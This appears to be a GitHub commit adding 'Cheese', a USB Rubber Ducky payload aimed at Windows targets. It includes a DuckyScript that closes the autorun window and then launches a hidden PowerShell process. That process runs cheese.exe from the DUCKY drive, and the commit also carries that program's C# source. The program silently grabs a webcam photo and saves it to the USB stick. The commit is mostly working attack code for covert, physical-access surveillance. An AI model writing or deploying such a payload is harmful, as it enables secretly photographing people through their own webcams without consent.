Skip to content

Commit bbd8afa

Browse files
authored
web cam photo taker
1 parent bf2dfb7 commit bbd8afa

File tree

4 files changed

+105
-0
lines changed

4 files changed

+105
-0
lines changed
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
## About:
2+
* Title: Cheese
3+
* Description: Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky.
4+
* AUTHOR: Pinguino-HK
5+
* Version: 1.0
6+
* Category: General.
7+
* Target: Windows.
8+
* Attackmodes: HID STORAGE.
9+
* SourceCode: The srouce code of cheese.exe can be found in cheese.cs, it s .NET C# application.
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
using AForge.Video.DirectShow;
2+
using System;
3+
using System.Drawing;
4+
using System.IO;
5+
6+
class Program
7+
{
8+
private static FilterInfoCollection GetVideoDevices()
9+
{
10+
return new FilterInfoCollection(FilterCategory.VideoInputDevice);
11+
}
12+
13+
static void Main(string[] args)
14+
{
15+
16+
DriveInfo[] drives = DriveInfo.GetDrives();
17+
string usbDriveLetter = "";
18+
19+
foreach (DriveInfo drive in drives)
20+
{
21+
if (drive.IsReady && drive.VolumeLabel == "DUCKY")
22+
{
23+
usbDriveLetter = drive.Name;
24+
break;
25+
}
26+
}
27+
28+
if (usbDriveLetter == "")
29+
{
30+
Console.WriteLine("USB drive 'DUCKY' not found.");
31+
return;
32+
}
33+
34+
35+
// Get available video devices
36+
var videoDevices = GetVideoDevices();
37+
38+
if (videoDevices.Count == 0)
39+
{
40+
Console.WriteLine("No video devices found.");
41+
Environment.Exit(1); // Exit the application with an error code
42+
}
43+
44+
// Select the first video device
45+
var videoDevice = videoDevices[0];
46+
47+
// Create video source
48+
var videoSource = new VideoCaptureDevice(videoDevice.MonikerString);
49+
50+
// Start capturing
51+
videoSource.Start();
52+
53+
// Wait for a short period to ensure camera is ready (adjust as needed)
54+
System.Threading.Thread.Sleep(2000);
55+
56+
// Capture the frame
57+
videoSource.NewFrame += (sender, eventArgs) =>
58+
{
59+
// Capture the new frame
60+
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone();
61+
62+
// Save the bitmap to a file
63+
//
64+
//string filePath = @"D:\image.jpg";
65+
//string filePath = Path.Combine(usbDriveLetter, "\\:image.jpg");
66+
string filePath = usbDriveLetter + @"\image.jpg";
67+
bitmap.Save(filePath);
68+
69+
Console.WriteLine("Image saved to " + filePath);
70+
71+
// Stop capturing
72+
videoSource.SignalToStop();
73+
videoSource.WaitForStop();
74+
75+
// Exit the application
76+
Environment.Exit(0);
77+
};
78+
79+
// Wait for capturing to finish (This line should be removed if not waiting indefinitely)
80+
videoSource.WaitForStop();
81+
}
82+
}
246 KB
Binary file not shown.
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
REM Author: Pinguino-HK
2+
3+
REM Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky.
4+
REM The speed delay can be adapted/modified
5+
REM the ALF F4 is only if the target had autorun which will pop the Ducky folder
6+
7+
ATTACKMODE HID STORAGE
8+
DELAY 5000
9+
ALT F4
10+
ESC
11+
DELAY 2000
12+
GUI r
13+
DELAY 1000
14+
STRINGLN powershell -WindowStyle Hidden Start-Process -FilePath ((Get-Volume -FileSystemLabel 'DUCKY').DriveLetter + ':\cheese.exe'); Start-Sleep -Seconds 7; taskkill /F /IM cheese.exe

0 commit comments

Comments
 (0)